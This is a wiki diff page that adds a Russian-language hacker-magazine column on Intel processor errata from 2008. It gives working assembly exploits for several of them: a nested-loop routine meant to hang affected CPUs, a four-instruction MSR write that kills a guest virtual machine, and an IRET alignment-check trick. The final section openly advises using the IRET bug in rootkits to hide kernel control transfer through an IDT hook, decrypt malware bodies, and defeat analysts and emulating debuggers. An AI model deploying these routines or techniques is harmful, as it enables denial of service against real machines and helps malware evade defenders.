Различия

Здесь показаны различия между двумя версиями данной страницы.

@@ Строка 1: / Строка 1: @@
+====== exploit-review-0x19 ======
+<sub>{{exploit-review-0x19.odt|Original file}}</sub>
+====== exploits review\\ 19h выпуск ======
+крис касперски ака мыщъх, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email
+**этот обзор еще более необычен, чем предыдущий и посвящен он… ошибкам процессоров, обнаруженных за последнюю пару месяцев и существенно облегчающих нашу хакерскую жизнь — даже если операционная система не содержит дыр (например, ****OpenBSD)****, удаленная атака все равно остается возможной благодаря дефектом проектирования процессора!**
+===== Intel Pentium – зависон на не выровненных циклах =====
+**brief**:в июне 2008 года сотрудники тестовой лаборатории корпорации Intel обнаружили ошибку в процессоре **Core 2 Extreme Processor QX9775**, связанную с некорректной обработкой не выровненных условных переходов пересекающих 16-байтовые границы, и высаживающие ЦП на измену результаты которой варьируются от генерации исключения "machine check exception" до полного зависания системы. Баг возникает только на определенных временных диаграммах, а потому чаще всего он проявляется именно в компактных вложенных циклах (short nested loops), для выполнения которых достаточно… запустить на машине жертвы специальный JavaScipt и тогда (при активном Java-компиляторе, компилирующем код в память), мы получим тотальный отказ в обслуживании, т. е.DoS. Назвать эту ошибку новой нельзя, т. к. впервые она была обнаружена еще в феврале этого же года в процессоре **Core 2 Extreme Processor QX9000**, а спустя неделю — еще в куче других и пока Intel рассылала разработчикам BIOS'ов рекомендации по устранению обозначенного дефекта, в руки тестеров попал новый (едва ли не новейший, а потому жутко дорогой) Core 2 Extreme Processor QX9775, содержащий туже самую ошибку, полученную по "наследству".
+**target**:данный дефект выявлен в следующих процессорах: Dual-Core Xeon E3110, Quad-Core Xeon 3300, Dual-Core Xeon 5200, Quad-Core Xeon 5400, Core Extreme QX9775, Core 2 Extreme Quad-Core QX6000, Core 2 Quad Q6000, Core 2 Extreme QX9000, Core 2 Quad Q9000, однако, ошибка может присутствовать и в более младших процессорах, уже снятых с производства, а потому и не тестируемых, но все еще широко используемых на рабочих станциях и серверах.
+**exploit**:исходный текст exploit'а, написанный мыщъхем на ассемблерных вставках на MS Visual, C++ приведен ниже. При выполнении на указанных процессорах с дряхлой версией BIOS'а наступает крах (зависон). Для переноса exploit'а на Java/JavaScript необходимо знать особенности Java-транслятора конкретного браузера, а потому готовые решения здесь не приводится.
+int bar;
+__declspec(naked) foo()
+{
+__asm{
+MOV EDI, EDI
+MOV bar, ESP
+MOV ESP, offset bar+666h
+POPAD
+MOV ESP, bar
+LX:
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+inc eax
+jz LX
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+NOP
+inc ebx
+jz LX
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+NOP
+inc ecx
+jz LX
+mov esi, eax
+mov edi, ebx
+mov ebp, ecx
+L1:
+NOP
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+dec esi
+jnz L1
+L2:
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+NOP
+dec edi
+jnz L2
+L3:
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+NOP
+dec ebp
+jnz L3
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+MOV EDI, EDI
+NOP
+dec edx
+jnz LX
+retn
+}
+}
+Листинг 1 исходный ассемблерный код exploit'а, завешивающего многие процессоры
+**solution**:обновить прошивку BIOS, если производитель материнской платы исправил этот дефект процессора (что вовсе не факт!).
+{{exploit-review-0x19_Image_0.png?553}}
+Рисунок 1 в мыщъхином exploit'е условные переходы вложенных циклов нарочно выровнены так, чтобы они преднамеренно рассекали 16-байтовые границы
+===== Intel Pentium – убийство виртуальных машин =====
+**brief**:в июне 2008 года в процессорах **Core 2 Extreme Quad-Core QX6000** и **Core 2 Quad ****Q6000**была обнаружена ошибка в менеджере виртуальных машин (Virtual Machine Manager или, сокращенно, VMM), позволяющая зловредному коду, исполняющемся на нулевом кольце, "убивать" текущую виртуальную машину. Линейку NT-подобных систем этим не удивишь, т. к. с нулевого кольца легко устроить BSOD даже безо всяких ошибок в ЦП, но вот Linux/BSD некорректным модулем ядра завалить труднее, к тому же, если виртуальная машина предусматривает автоматический рестарт гостевой оси при возникновении каких-то "терок" (что часто встречается на виртуальных серверах, работающих на "автопилоте"), то убийство виртуальной машины превращается в реальную угрозу. Как его реализовать? Оказывается, достаточно задействовать опцию **IA32_DEBUGCTL.FREEZE_WHILE_SMM_EN**, которую можно активировать посредством записи установки бита FREEZE_WHILE_SMM_EN в MSR-регистре IA32_DEBUGCTL. И все! Виртуальная гостевая машина аварийно завершится к кодом 80000021h. Хана короче! Подробнее об этой хане можно прочитать в разделе "**VM-Entry Failures During or After Loading Guest State**"руководства "**Intel 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide, Part 2**";
+**target**:в настоящее время дефект обнаружен и подтвержден в кристаллах Core 2 Extreme Quad-Core QX6000 и Core 2 Quad Q6000, за остальные процессоры пока ничего не известно, но вполне возможно, что они так же содержат эту ошибку;
+**exploit**:исходный текст exploit'а, написанный мыщъхем на ассемблере, приведен ниже (чтобы его использовать необходимо подставить фактический номер MSR регистра в его имя, воспользовавшись соответственным заголовочным файлом от Intel или сделать это своими руками — номера MSR и всех их атрибутов содержатся в документации);
+MOV ECX, IA32_DEBUGCTL
+RDMSR; читаем содержимое IA32_DEBUGCTL в EDX:EAX
+OR EAX, 4000h; взводим бит FREEZE_WHILE_SMM_EN
+WRMSR; обновляем MSR-регистр
+Листинг 2 убийство гостевой виртуальной машины четырьмя ассемблерными командами
+**solution**:Intel предает как решение на уровне BIOS'а, так и программные "костыли", требующие модификации кода существующих виртуальной машины. Однако, ни разработчики виртуальных машин, ни Microsoft (со своим Server'ом 2008 в состав которого входит виртуализатор) никак не отреагировали на ситуацию. Самое смешное, что даже сама Intel, выпустившая виртуализатор VirtualBox (бесплатный, кстати) не стала править код. Так что… защита нам только сниться ;) а истина, как водится, в траве.
+{{exploit-review-0x19_Image_1.jpg?533}}
+Рисунок 2 зеленый цвет процессоров семейства Intel Core (мобильная версия) наводит на мысли о траве
+===== Intel Pentium – крах основной машины =====
+brief:в конце марта 2008 года в процессоре **Dual-Core Xeon ****7000**был обнаружен мелкий, но весьма противный дефект варварского типа, "поджидающий" кристалл в узких переходах между 64-битным режимом основной (host) операционной системы и 32-битным режимом гостевой виртуальной машины. При задействованном режиме Hyper-Threading, процессор (при стечении определенных обстоятельств) с некоторой (впрочем, довольно незначительной) вероятностью либо выбрасывает IERR#, либо уходит в глухой зависон, отправляя в небытие не только виртуальные машины, но и основную операционную систему. А вот это уже нехорошо! Подробности этого увлекательного круиза смерти можно найти в официальном обновлении спецификаций "**Specification Update**" http://download.intel.com/design/xeon/specupdt/309627.pdf (//**внимание!**////Intel ////любит менять номера ////pdf-////файлов, поэтому, данная ссылка через некоторое время может перестать действовать, тогда — заходим на сайт ////Intel////, и находим нужный нам документ по имени процессора//);
+**target**:в настоящее время данная ошибка обнаружена и подтверждена для **Dual-Core Xeon ****7000****, **но, вполне возможно, что она имеется и в других процессорах данного семейства;
+**exploit**:руками не трогать! оно и само упадет ;-) со временем… а чтобы помочь ему упасть, достаточно выполнять побольше переходов между 32-разрядной виртуальной гостевой машиной и 64-битной операционной системой. А как их выполнять? Да очень просто — достаточно, например, создать шторм TCP/IP пакетов, на физическом уровне обрабатываемый сетевой картой основной операционной системы, а, значит, переключающий контекст выполнения на ее драйвер для обработки очередного прерывания. Пройдет совсем немного времени как случиться глобальный завис!
+solution:по утверждению Intel проблему можно решить на уровне BIOS'а и фирма уже разослала ведущим производителям BIOS'ов и материнских плат рекомендации по обходу бага, однако, что-то производители не спешат реагировать… и обновленные прошивки BIOS'а к этому дефекту процессора совершенно перпендикулярны, ну а отдуваются как всегда конечные пользователи…
+{{exploit-review-0x19_Image_2.png?552}}
+Рисунок 3 процессор Dual-Core Xeon 7000 на сайте Intel вместе со всей документацией и обновлениями спецификаций с перечнем обнаруженных дыр
+===== full disclose:\\ ошибка #IRET на службе руткитов =====
+**brief**:поздравляем! Intel веников не вяжет! 14 мая 2008 года в новейшем кристалле **Core 2 Extreme ****QX9000**, обнаружен древний баг, известный еще с декабря 2005! Очень красивый, элегантный и чертовски полезный баг, затрагивающий множество процессоров, выпущенных корпорацией Intel за последние несколько лет, что позволяет использовать его для защиты программного кода от всяких там дизассемблеров, эмулирующих отладчиков и реверсеров, отлаживающих малварь на живых, но слегка устаревших машинах, в то время как легион геймеров всегда в авангарде, то есть с новым железом! Но все по порядку! Баг связан с инструкцией IRET, традиционно использующейся в обработчиках аппаратных прерываний. Однако, эта команда может использоваться и на прикладном уровне для передачи управления на кольцо с идентичным уровнем привилегий. При этом IRET последовательно выталкивает из стека регистр EIP, селектор CS и содержимое флагов, то есть, если предварительно сохранить в стеке флаги, текущий CS и указатель на метку label, то мы получим завуалированный аналог jmp label, но только если jmp label распознает любой дизассемблер, то IRET – обламывает ИДУ и по самые помидоры и создавать перекрестные ссылки приходится вручную. Но это — мелочи. Все интересное сидит внутри IRET. Это только с виду она кажется простой командой, но даже в x86-процессорах псевдокод, поясняющий действие IRET (приводимый в мануалах от Intel) занимал несколько страниц (а реальный микрокод и того больше). Поддержка 64-битного режима усложнила IRET в несколько раз. Во-первых, 64-битный режим требует обязательного выравнивания там, где в x86-процессорах оно было опционально, управляясь битом AM регистра CR0 (недоступного с прикладного режима) и битом AC регистра флагов EFLAGS (прекрасно доступным с прикладного режима). А теперь вопрос на засыпку: как должен вести себя процессор, если на момент начала выполнения IRET флаг AC сброшен (контроль выравнивания отключен), стек не выровнен, а в сохраненном значении регистра флагов (который будет извлечен после завершения инструкции IRET) флаг AC взведен? x86-процессоры (и некоторые x86-64) на это реагируют вполне адекватно, то есть врубают контроль выравнивания _после_ того, как IRET закончит свою работу, что вполне логично, поскольку с точки зрения программиста все инструкции атомарны, т. е. неделимы и выполняются за одну абстрактную итерацию. Однако, поскольку, в действительности мы имеем дело не со сферическими конями в вакууме, а с RISC-ядром, выполняющим микрокод, то из-за ошибок в этом самом микрокоде, контроль выравнивания включается _во_ _время_ выполнения инструкции IRET, что приводит к генерации прерывания Alignment Check Exception (#AC). Причем, ошибке подвержена только та часть микрокода IRET, которая отвечает за передачу управления с кольца 3 на кольцо 3. Межкольцевой вызов реализован в обозначенной ситуации исключения не вызывает.
+{{exploit-review-0x19_Image_3.jpg?399}}
+Рисунок 4 Core 2 Duo – один из многих процессоров с дырой, официально именуемой "IRET under Certain Conditions May Cause an Unexpected Alignment Check Exception"
+**target**:дефект обнаружен и подтвержден в следующих процессорах (пристегните ремни безопасности, прежде чем читать): Dual-Core Xeon E3110, Dual-Core Xeon 3000, Quad-Core Xeon 3200, 64-bit Intel Xeon, Quad-Core Xeon 3300, Dual-Core Xeon 5000, Dual-Core Xeon 5100, Quad-Core Xeon 5300, 64-bit Xeon MP, Dual-Core Xeon 7000, Dual-Core Xeon 7100, Dual-Core Xeon 7200, Quad-Core Xeon 7300, Core2 Extreme QX9775, Core2 Extreme Quad-Core QX6000, Core2 Quad Q6000, Core2 Extreme QX9000, Core2 Quad Q9000, а так же, возможно, некоторых других.
+**exploit**:как эту дыру можно использовать для атаки? а никак! если программное обеспечения, используемое жертвой, использует IRET для передачи управления с кольца 3 на кольцо 3 (а зачем ему это делать?!) да еще работает с не выровненным стеком, да еще выталкивает в регистр флагов установленный бит AC – так оно само упадет. Intel даже наблюдала такое поведение на некоторых программах, правда, не сказала каких. Но падает только "неправильное" приложение, а не вся система целиком и чтобы выполнить IRET на атакуемой машине, хакеру нужно иметь хотя бы минимальные правда для выполнения своего кода (исполняемого файла или shell-кода), но в таком случае уронить приложение можно и без всякого IRET'а. Смысл?! А смысл в том, что при данных обстоятельствах на багистном процессоре IRET передаст управление вовсе не туда, куда ожидалось! То есть, мы можем написать очень хитрый код, который в дизассемблере (или под эмулирующим отладчиком) выполняет невинные действия, а вот на живой машине (с багистным процессором) не только передает управления на основное тело, но так же использует код исключения для его расшифровки. Если исследователь малвари не в курсе этого бага, ему придется изрядно попыхтеть, не говоря уже за эвристический анализ, который отпадает сразу. Исходный код ассемблерного кода, демонстрирующего эту уязвимость, приведен ниже:
+DECESP; делаем стек не выровненным
+PUSHFD; сохраняем флаги в стеке
+POPEAX; выталкиваем в EAX
+OREAX, 40000h; взводим AC бит
+PUSHEAX; сохраняем EAX в стеке
+PUSHCS; сохраняем селектор кода
+PUSHoffset my_next; сохраняем адрес перехода
+IRET
+my_next:; сюда предполагается передать управление
+INCESP; возвращаем стек на место
+Листинг 3 ассемблерный текст exploit'а, генерирующего #AC исключение на багистных процессорах и не генерирующего его на правильных ЦП
+**solution**:а что тут можно сделать?! нет, ну правда. конечным пользователям — просто расслабиться. реверсерам малвари — учитывать эту фичу при анализе кода.
+{{exploit-review-0x19_Image_4.jpg?399}}
+Рисунок 5 дырявый Core 2 Extreme Dual -Core от Intel (стоимость дыр заложена в себестоимость изделия)
+**full disclose:**
+**под капотом ****Windows**
+Попытка практической реализации proof-of-concept exploit'а по началу не предвещала никаких неожиданностей. Горизонт был чист, сияло солнце. А между тем, гроза уже висела над мыщъхиной норой, а за ней и градовая туча подоспела. #AC-исключение не генерировалось! Ну хоть убей. Чего только мыщъх не делал… Курил, точил, долбил, перечитывал errata от Intel столько раз, что выучил наизусть. По конец даже засомневался в здравости рассудка (своего или инженеров из Intel), но, как всегда, виноватой оказалась Microsoft.
+{{exploit-review-0x19_Image_5.png?553}}
+Рисунок 6 вот тут чел из MS открыто признает, что ядро "зажимает" #AC-исключение на x86-системах
+Анализ обработчика исключений, сосредоточенного в ядре, показал, что система самым наглым образом ныкает #AC-исключение, не передавая его на прикладной уровень и потому до SEH/VEH обработчиков оно просто не доходит. "До Штирлица перестали доходить письма из Родины…". Мыщъхиные раскопки ядра подтвердились несколькими независимыми источниками. Так, например, Program Manager (Manager — не в смысле программы, это человек такойпо имени Kang Su Gatlin) из группы Microsoft Visual C++, без ложной скромности писал: "//On the x86 architecture, the operating system does not make the alignment fault visible to the application//" (http://msdn.microsoft.com/en-us/library/aa290049(VS.71).aspx), что испытал на своей шкуре хакер Zahical, цитируя мистера Kang Su Gatlin на форуме, где туссуются сишные программисты, причем довольно хорошо и плотно так тусуются: http://www.tech-archive.net/Archive/VC/microsoft.public.vc.language/2004-12/0199.html
+Уточним — это x86-ядро "зажимает" #AC-исключение, а вот что касается x86-64 – все зависит от того был ли запущен процесс с флагом SEM_NOALIGNMENTFAULTEXCEPT, переданным API-функции SetErrorMode() и если да, то исключение будет вновь "зажиматься". К счастью, по умолчанию, процесс стартует без этого флага и приведенный выше исходный код exploit'а будет работать как часы.
+{{exploit-review-0x19_Image_6.png?553}}
+Рисунок 7 бедный старый MSDN, идущий на диске с MS Visual Studio 6.0 – он по своей наивности считал, что флаг SEM_NOALIGNMENTFAULTEXCEPT применим только к рискам! и не знал, что через несколько лет та же самая фигня будет и на x86-64
+Ладно, оставим x86-64 системы. С ними все слишком просто, да и не очень-то они широко распространены. Вернемся назад к x86 и посмотрим, что тут можно сделать. Итак, ядро зажевало исключение и нам его никак не получить, разве что спуститься на ядерный уровень… Стоп!!! А ведь это шикарный способ передачи управления ядерному модулю! Допустим, у нас есть rootkit, устанавливающий драйвер, с которым взаимодействует прикладной код. Стандартный интерфейс DeviceIoControl() слишком известен и слишком заметен. А вот если драйвер перехватывает вектор #AC-исключения (что на ядерном уровне реализуется без проблем, например, путем прямого хука таблицы дескрипторов прерываний — она же IDT), то IRET с не выровненным стеком заставит процессор сгенерировать исключение, подхватываемое нашим драйвером. Можно до упаду анализировать малварь, но в упор не видеть, что IRET передает управление не с ring-3 на ring-3 (согласно документации), а на… ring-0. И уже нашему драйверу решать, что делать дальше. Можно передать управление обратно на ring-3 по адресу, занесенному в стек, но ведь можно же и не передавать! Или передавать, но не туда. Или (как уже говорилось выше), использовать вектор исключения для расшифровки остального тела rootkita. Конечно, ключ получается какой-то беспонтовый и не слишком криптостойкий, точнее совсем не криптостойкий, но здесь главное — скрыть сам _факт_ расшифровки. И благодаря ошибке в ЦП он очень даже хорошо скрывается. Конечно, данный код будет работать не на любом ЦП (хотя и на многих), но малварь (в отличии от коммерческих программ) это обстоятельство как ни будь переживет. Ну не один компьютер будет заражен, так другой…
+Хорошо, а как быть, если у нас драйвера нет, а писать его в лом. Можно ли обнаружить, что исключение имело место быть?! Конечно! Обработка исключений — далеко не самая дешевая операция (в плане процессорных тактов) и замеряя время выполнения IRET, мы легко установим истинное положение дел. "Правильная" IRET занимает не больше нескольких сотен "тиков", легко измеряемых инструкцией RDTSC, а вот скрытая обработка исключения ядром уже тянет на десятки тысяч. Если операция измерения времени выполнения IRET не сильно бросается в глаза, то хакер легко запутает реверсеров, анализирующих малварь. И уж точно обойдет всякие эмулирующие отладчики и многие виртуальные машины.
+Учитывая, что Intel фиксить эту багофичу не собирается, стоит взять ее на вооружение, смело кинувшись в бой! Тем более, что это не единственная дыра в процессорах. Есть и другие. Да там их сотни!!! Мыщъх как раз сейчас нарабатывает фактический материал и точит доклад, который (при благоприятном стечении обстоятельств) будет прочитан на хакерской конференции "**Hack In The Box Security**", проводимой в Малайзии в октябре 2008 года: http://conference.hackinthebox.org/ (для желающих посетить сие мероприятие напоминаю, что Малайзия очень удобна тем, что не требует визы, достаточно одного паспорта).
+{{exploit-review-0x19_Image_7.png?553}}
+Рисунок 8 HITBSecConf2008 – крупнейшая азиатская хакерская конференция, проводимая в Малайзии, на которой есть на что посмотреть и есть кого послушать, намотав кучу полезной инфы себе на хвост